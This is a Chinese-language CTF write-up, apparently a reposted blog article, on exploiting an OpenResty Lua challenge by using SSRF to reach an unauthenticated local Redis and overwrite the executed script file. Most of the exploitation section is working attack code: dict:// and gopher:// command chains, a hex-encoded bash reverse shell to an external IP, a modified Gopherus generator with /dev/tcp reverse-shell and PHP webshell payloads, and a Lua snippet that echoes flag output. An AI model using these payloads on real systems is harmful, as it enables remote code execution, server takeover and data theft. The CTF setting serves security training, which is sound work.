Lua项目下SSRF利用Redis文件覆盖lua回显RCE

admin 2025年1月13日16:55:30评论7 views字数 9922阅读33分4秒阅读模式

Lua项目下SSRF利用Redis文件覆盖lua回显RCE
0x1 软件安全攻防赛Lua Web项目

lua项目中script文件源码如下

##LUA_START##-- 引入cURL库和Redis库local curl = require("cURL")local redis = require("resty.redis")-- 读取请求体ngx.req.read_body()-- 获取请求的URI参数local args = ngx.req.get_uri_args()-- 获取URL参数local url = args.url-- 如果URL参数缺失,返回错误信息if not url then    ngx.say("URL parameter is missing!")    returnend-- 创建Redis连接对象local red = redis:new()-- 设置Redis连接超时时间为1000毫秒red:set_timeout(1000)-- 连接到Redis服务器local ok, err = red:connect("127.0.0.1"6379)-- 如果连接失败,返回错误信息if not ok then    ngx.say("Failed to connect to Redis: ", err)    returnend-- 从Redis中获取缓存的响应local res, err = red:get(url)-- 如果找到缓存的响应且不为空,返回缓存的响应if res and res ~= ngx.null then    ngx.say(res)    returnend-- 创建cURL对象并设置请求参数local c = curl.easy {    url = url,    timeout = 5,    connecttimeout = 5}-- 初始化响应体存储表local response_body = {}-- 设置cURL的写入函数,将响应数据插入到response_body表中c:setopt_writefunction(table.insert, response_body)-- 执行cURL请求,并捕获可能的错误local ok, err = pcall(c.perform, c)-- 如果请求失败,返回错误信息并关闭cURL对象if not ok then    ngx.say("Failed to perform request: ", err)    c:close()    returnend-- 关闭cURL对象c:close()-- 将响应体表转换为字符串local response_str = table.concat(response_body)-- 将响应字符串存储到Redis中,设置过期时间为3600local ok, err = red:setex(url, 3600, response_str)-- 如果存储失败,返回错误信息if not ok then    ngx.say("Failed to save response in Redis: ", err)    returnend-- 返回响应字符串ngx.say(response_str)##LUA_END##

这段代码的主要功能是从Redis缓存中获取HTTP响应,如果缓存中没有,则通过cURL发送HTTP请求获取响应,将响应缓存到Redis中,并返回响应内容。由于http网址我们可以自己控制,存在SSRF漏洞。

main.lua源码如下

-- 定义一个函数用于读取文件内容local function read_file(filename)    -- 打开文件以只读模式    local file = io.open(filename, "r")    -- 如果文件打开失败,打印错误信息并返回nil    if not file then        print("Error: Could not open file " .. filename)        return nil    end    -- 读取文件的全部内容    local content = file:read("*a")    -- 关闭文件    file:close()    -- 返回文件内容    return contentend-- 定义一个函数用于执行Lua代码块local function execute_lua_code(script_content)    -- 使用正则表达式从脚本内容中提取Lua代码块    local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")    -- 如果找到有效的Lua代码块    if lua_code then        -- 加载Lua代码块        local chunk, err = load(lua_code)        -- 如果加载成功        if chunk then            -- 使用pcall执行Lua代码块,捕获可能的错误            local success, result = pcall(chunk)            -- 如果执行失败,打印错误信息            if not success then                print("Error executing Lua code: ", result)            end        else            -- 如果加载失败,打印错误信息            print("Error loading Lua code: ", err)        end    else        -- 如果没有找到有效的Lua代码块,打印错误信息        print("Error: No valid Lua code block found.")    endend-- 主函数local function main()    -- 定义要读取的文件名    local filename = "/scripts/visit.script"    -- 读取文件内容    local script_content = read_file(filename)    -- 如果文件内容读取成功,执行Lua代码    if script_content then        execute_lua_code(script_content)    endend-- 调用主函数main()

主函数通过读取script文件,把##LUA_START##(.-)##LUA_END##包裹的内容当作lua脚本运行

nginx.conf

events {    worker_connections 1024;}http {    include       mime.types;    default_type  application/octet-stream;    sendfile        on;    keepalive_timeout  65;    server {        listen       80;        server_name  localhost;        location / {            root   html;            index  index.html;        }        location /visit {            default_type text/plain;            content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;        }        lua_code_cache off;    }}

这段配置主要是用来处理 HTTP 请求,默认提供静态文件服务,并且通过 Lua 脚本动态处理 /visit 路径的请求。如果你使用的是 OpenResty,它会让你轻松在 NGINX 中运行 Lua 代码。

看了一下redis配置文件发现本地访问redis无需密码

When protected mode is on and the default user has no password, the serveronly accepts local connections from the IPv4 address (127.0.0.1), IPv6 address# (::1or Unix domain sockets.#By default protected mode is enabled. You should disable it only if# you are sure you want clients from other hosts to connect to Redis# even if no authentication is configured.protected-mode yes

docker启动文件如下

FROM openresty/openresty:bionicARG RESTY_LUAROCKS_VERSION="3.11.0"RUN DEBIAN_FRONTEND=noninteractive apt-get update     && DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends         curl         libcurl4-openssl-dev         make         unzip         wget         lsb-release         gpg     && cd /tmp     && curl -fSL https://luarocks.github.io/luarocks/releases/luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz -o luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz     && tar xzf luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz     && cd luarocks-${RESTY_LUAROCKS_VERSION}     && ./configure         --prefix=/usr/local/openresty/luajit         --with-lua=/usr/local/openresty/luajit         --with-lua-include=/usr/local/openresty/luajit/include/luajit-2.1     && make build     && make install     && cd /tmp     && rm -rf luarocks-${RESTY_LUAROCKS_VERSION} luarocks-${RESTY_LUAROCKS_VERSION}.tar.gzENV LUA_PATH="/usr/local/openresty/site/lualib/?.ljbc;/usr/local/openresty/site/lualib/?/init.ljbc;/usr/local/openresty/lualib/?.ljbc;/usr/local/openresty/lualib/?/init.ljbc;/usr/local/openresty/site/lualib/?.lua;/usr/local/openresty/site/lualib/?/init.lua;/usr/local/openresty/lualib/?.lua;/usr/local/openresty/lualib/?/init.lua;./?.lua;/usr/local/openresty/luajit/share/luajit-2.1/?.lua;/usr/local/share/lua/5.1/?.lua;/usr/local/share/lua/5.1/?/init.lua;/usr/local/openresty/luajit/share/lua/5.1/?.lua;/usr/local/openresty/luajit/share/lua/5.1/?/init.lua"ENV LUA_CPATH="/usr/local/openresty/site/lualib/?.so;/usr/local/openresty/lualib/?.so;./?.so;/usr/local/lib/lua/5.1/?.so;/usr/local/openresty/luajit/lib/lua/5.1/?.so;/usr/local/lib/lua/5.1/loadall.so;/usr/local/openresty/luajit/lib/lua/5.1/?.so"RUN /usr/local/openresty/luajit/bin/luarocks install Lua-cURL CURL_INCDIR=/usr/include/x86_64-linux-gnu/ &&     opm get openresty/lua-resty-redisCOPY nginx.conf /usr/local/openresty/nginx/conf/nginx.confCOPY index.html /usr/local/openresty/nginx/html/index.htmlCOPY main.lua /usr/local/openresty/nginx/lua/main.luaRUN mkdir /scriptsCOPY scripts/* /scriptsRUN chmod +x -R /scriptsRUN curl -fsSL https://packages.redis.io/gpg | gpg --dearmor -o /usr/share/keyrings/redis-archive-keyring.gpg     && echo "deb [signed-by=/usr/share/keyrings/redis-archive-keyring.gpg] https://packages.redis.io/deb $(lsb_release -cs) main" |  tee /etc/apt/sources.list.d/redis.list     && apt update     && apt install redis language-pack-id -yCOPY redis.conf /redis.confCOPY start.sh /RUN chmod +x /start.shCOPY flag /flagCOPY readflag /readflagRUN chmod 400 /flagRUN chmod +xs /readflagEXPOSE 80CMD ["/start.sh"]

可以看到各个项目文件的位置
docker本地搭建启动后页面如下,可以访问网址

Lua项目下SSRF利用Redis文件覆盖lua回显RCE

 

用redis-over-gopher一直打不通测试发现gopher一直timeout用不了,

sec_tools/redis-over-gopher at master · firebroo/sec_tools · GitHub
用dict测试访问redis端口可以

dict://127.0.0.1:6379/info
Lua项目下SSRF利用Redis文件覆盖lua回显RCE

之后发现可以通过写入script文件来代码执行
lua执行系统命令函数是

os.execute()

Lua项目下SSRF利用Redis文件覆盖lua回显RCE
0x2 打法详解

 

dict协议打法

写文件visit.script覆盖,写入的时候可以用16进制直接写入,防止有些特殊字符会出错

dict://127.0.0.1:6379/flushalldict://127.0.0.1:6379/config:set:dir:/scriptsdict://127.0.0.1:6379/config:set:dbfilename:visit.scriptdict://127.0.0.1:6379/set:a:"x23x23x4cx55x41x5fx53x54x41x52x54x23x23x6fx73x2ex65x78x65x63x75x74x65x28x22x62x61x73x68x20x2dx63x20x20x27x73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x34x2ex32x32x30x2ex33x37x2ex31x37x33x2fx32x33x33x33x20x30x3ex26x31x27x22x29x23x23x4cx55x41x5fx45x4ex44x23x23"dict://127.0.0.1:6379/save

注意:由于redis save保存的是二进制信息会有版本之类的信息(脏数据),所以单纯的写入并不能执行会报错。题目中的读取是有##LUA_START## ##LUA_END##包裹的,所以才能准确执行。

lua回显打法

如果不出网可以这样回显,把lua命令执行的结果到浏览器中

local handle = io.popen('/readflag'local output = handle:read("*a"handle:close() ngx.say("<html><body>"ngx.say("<h1>Command Output:</h1>"ngx.say("<pre>" .. ngx.escape_html(output) .. "</pre>")

编写脚本 bp上传二次编码即可

import urllib.parsehost = "127.0.0.1:6379"test =r"""set  margin  "nnn##LUA_START##ngx.say((function() local f = io.popen('/readflag');local r = f:read('*all');f:close();return r end)())##LUA_END##nnn"config set dir /scripts/config set dbfilename "visit.script"save"""tmp = urllib.parse.quote(test)new = tmp.replace("%0A","%0D%0A")a="gopher://"+host+"/_"+newresult = urllib.parse.quote(a)print(result)

当然我们修改gopherus工具的/scripts/Redis.py来生成payload写入文件(原来的功能是写入计划任务反弹shell)

import urllibdef Redis():    def get_Redis_ReverseShell():        file="visit.script"        dir="/scripts"        cmd = '##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/ip/port 0>&1'")##LUA_END##'        len_cmd = len(cmd) + 5        payload = """*1r$8rflushallr*3r$3rsetr$1r1r$""" + str(len_cmd) + """r""" + cmd + """r*4r$6rconfigr$3rsetr$3rdirr$""" + str(len(dir)) + """r""" + dir + """r*4r$6rconfigr$3rsetr$10rdbfilenamer$"""+str(len(file))+"""r"""+file+""""r*1r$4rsaver"""        finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")        print "�33[93m" +"nYour gopher link is ready to get Reverse Shell: n""�33[0m"        print "�33[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "�33[0m"        print "�33[01m" +"nBefore sending request plz do `nc -lvp 1234`""�33[0m"        print "n" + "�33[41m" +"-----------Made-by-SpyD3r-----------"+"�33[0m"    def get_Redis_PHPShell():        web_root_location = raw_input("�33[96m" +"nGive web root location of server (default is /var/www/html): ""�33[0m")        php_payload = raw_input("�33[96m" +"Give PHP Payload (We have default PHP Shell): ""�33[0m")        default = "<?php system($_GET['cmd']); ?>"        if(not php_payload):            php_payload = default        if(not web_root_location):            web_root_location = "/var/www/html"        payload = """*1r$8rflushallr*3r$3rsetr$1r1r$""" + str(len(php_payload) + 4) + """r""" + php_payload + """r*4r$6rconfigr$3rsetr$3rdirr$""" + str(len(web_root_location)) + """r""" + web_root_location + """r*4r$6rconfigr$3rsetr$10rdbfilenamer$9rshell.phpr*1r$4rsaver"""        finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")        print "�33[93m" +"nYour gopher link is Ready to get PHP Shell: n""�33[0m"        print "�33[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "�33[0m"        print "�33[01m"+"nWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. ""�33[0m"        print "n" + "�33[41m" +"-----------Made-by-SpyD3r-----------"+"�33[0m"    print "�33[01m"+"nReady To get SHELLn""�33[0m"    what = raw_input("�33[35m" +"What do you want?? (ReverseShell/PHPShell): ""�33[0m")    what = what.lower()    if("rev" in what):        get_Redis_ReverseShell()    elif("php" in what):        get_Redis_PHPShell()    else:        print "�33[93m" +"Plz choose between those two""�33[0m"        exit()

运行gopherus

python2 gopherus.py --exploit redis
Lua项目下SSRF利用Redis文件覆盖lua回显RCE

之后我们直接传进去即可反弹shell成功

Lua项目下SSRF利用Redis文件覆盖lua回显RCE

再次用visit访问url就会运行新写入的lua脚本反弹shell

Lua项目下SSRF利用Redis文件覆盖lua回显RCE

我们是神农安全,点赞 + 在看 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。

 

原文始发于微信公众号(神农Sec):Lua项目下SSRF利用Redis文件覆盖lua回显RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月13日16:55:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Lua项目下SSRF利用Redis文件覆盖lua回显RCEhttps://cn-sec.com/archives/3624327.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息